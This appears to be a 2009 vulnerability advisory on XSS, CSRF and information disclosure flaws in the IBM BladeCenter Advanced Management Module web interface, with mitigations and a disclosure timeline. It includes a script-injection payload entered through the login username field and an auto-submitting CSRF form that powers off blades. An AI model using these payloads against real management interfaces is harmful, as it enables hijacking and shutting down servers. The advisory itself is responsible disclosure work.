IBM BladeCenter Advanced Management XSS/XSRF

Type packetstorm
Reporter Henri Lindberg
Modified 2009-04-09T00:00:00


                                            ` Louhi Networks Information Security Research  
Security Advisory  
Advisory: IBM BladeCenter Advanced Management Module  
Multiple vulnerabilities  
(XSS type 2 & 1, CSRF, Information Disclosure)  
Release Date: 2009-04-09  
Last Modified: 2009-04-09  
Authors: Henri Lindberg [], CISA  
Device: IBM BladeCenter H AMM  
Main application: BPET36H  
Released: 03-20-08  
Rev: 54  
Risk: Low - Moderate  
High if Web Access is in active use and  
access to login page is unrestricted  
Vendor Status: Vendor notified, patch available.  
Affected devices (from vendor):  
IBM BladeCenter E (1881, 7967, 8677)  
IBM BladeCenter H (7989, 8852)  
IBM BladeCenter HT (8740, 8750)  
IBM BladeCenter S (1948, 8886)  
IBM BladeCenter T (8720, 8730)  
IBM BladeCenter JS12 (7998)  
IBM BladeCenter JS21 (7988, 8844)  
IBM BladeCenter JS22 (7998)  
IBM BladeCenter HC10 (7996)  
IBM BladeCenter HS12 (8014, 1916, 8028)  
IBM BladeCenter HS20 (1883, 8843)  
IBM BladeCenter HS21 (8853, 1885)  
IBM BladeCenter HS21 XM (7995, 1915)  
IBM BladeCenter LS20 (8850)  
IBM BladeCenter LS21 (7971)  
IBM BladeCenter LS41 (7972)  
IBM BladeCenter QS21 (0792)  
IBM BladeCenter QS22 (0793)  
Quotes from  
"In today’s high-demand enterprise environment, organizations  
need a reliable infrastructure to run compute-intensive  
applications with minimal maintenance and downtime.  
IBM BladeCenter H is a powerful platform built with the  
enterprise customer in mind, providing industry-leading performance,  
innovative architecture and a solid foundation for virtualization."  
"Provides easy integration to promote innovation and help manage  
growth, complexity and risk"  
During a quick overview of BladeCenter AMM web access, it was  
discovered that web administration interface has multiple  
vulnerabilities regarding input and request validation.  
Cross Site Scripting  
Type 2:  
Most serious issue discovered was the persistent XSS  
vulnerability on the event log page resulting from  
displaying unsanitized user input received from an invalid  
login attempt.  
This can be exploited without valid credentials or social  
engineering. Access to device administration IP address is  
needed and an administrator has to view event log at some point,  
Successful attack requires that an administrator visits event  
log page, thus enabling the attacker to control the chassis  
and blade configuration by running the injected content which  
is interpreted by the administrator's browser.  
For example, all blades can be shut down or new admnistrative  
users can be added, depending on administrator's access rights.  
Unsuccessful login attempts are displayed without HTML encoding  
or input sanitation in the event log. It is possible to inject  
a reference to a remote javascript file by using eg following  
</script><script src="//"></script><script>  
If user input contains </script>, dynamic javascript is spilled  
out on the page and it is quite easy to mess up formatting  
of the event log page.  
Log can be cleared by an authenticated administrator from URL:  
Event log javascript format:  
parent.LogEntryArray[i++] = new LogEntry( "1","2","Audit  
","SN#420420313370","09/09/08","04:20:42","Remote login failed  
for user '</script><script src='//'></script><script>' from  
Web at IP");  
HTML-injection can be performed for example with following  
"username": <a href="private/clearlog">Mallory</a>  
This results in:  
<TD>Remote login failed for user '<a href='private/clearlog'>  
Mallory</a>' from Web at IP</TD>  
Entries from event log are also displayed on the AMM Service  
Data page.  
Type 1:  
File manager displays user input on the page "as is".  
Successful exploitation requires social engineering  
an authenticated administrator to visit the hostile URL.  
Example URL:  
Information Disclosure  
A readonly operator (for example, a Blade operator with  
a scope assigment to one Blade) can view security  
permissions of other users (access roles and scopes) by  
forcefully browsing to their respective login profile pages:<n>&JUNK=1  
where <n> is the assigned integer value (1..12) of the user  
Cross Site Request Forgery  
BladeCenter AMM does not validate the origin of an HTTP request.  
If attacker is able to lure or force an authenticated  
administrator to view malicious content, the Advanced Management  
Module web administration interface can be controlled by  
submitting suitable forms. Attacker is then effectively acting  
as an administrator.  
Successful attack requires that the attacker knows the management  
interface address for the target device.  
As the management interface allows "No session timeout" option,  
user can be vulnerable to this attack even after closing a tab  
containing the management interface, if cached authentication  
is not cleared from browser.  
Proof of Concept:  
Example form (Powers off Blades 1-4):  
<body onload="document.foobar.submit()">  
<form name="foobar" method="post"  
<input name="COMMAND" value="6.3.2">  
<input name="STATE" value="0">  
<input name="CHECKED" value="15">  
<input name="selall" value="on">  
<input name="sel" value="bl1">  
<input name="sel" value="bl2">  
<input name="sel" value="bl3">  
<input name="sel" value="bl4">  
<input name="JUNK" value="1">  
Further research on BladeCenter AMM is strongly encouraged as  
this brief overview touched only the surface of the device.  
Management module supports a variety of networking protocols  
and contains features also from Telco version. These can be  
found by reading the commented HTML-code. One example feature is  
It is also apparent that session timeout is not enforced.  
More information:  
* Do not use Web Access for configuring the chassis and blades.  
* Limit access to web administration interface.  
* Do not use "No session timeout" option.  
* Always logout and close all browser windows after performing  
administrative tasks.  
* Do not browse untrusted sites while performing administrative  
* Only grant access to web administration to trusted users  
Disclosure Timeline (highlights from the eight month effort):  
9. September 2008 - Contacted CERT-FI by email  
22. October 2008 - Provided IBM with a clarification  
why SSL usage does not fix CSRF  
9. April 2009 - Advisory released  
"Replicants are like any other machine. They're either a benefit  
or a hazard. If they're a benefit, it's not my problem."  
-- Rick Deckard  
Copyright 2009 Louhi Networks Oy. All rights reserved. No warranties,  
no liabilities, information provided 'as is' for educational purposes.  
Reproduction allowed as long as credit is given. Information wants to  
be free.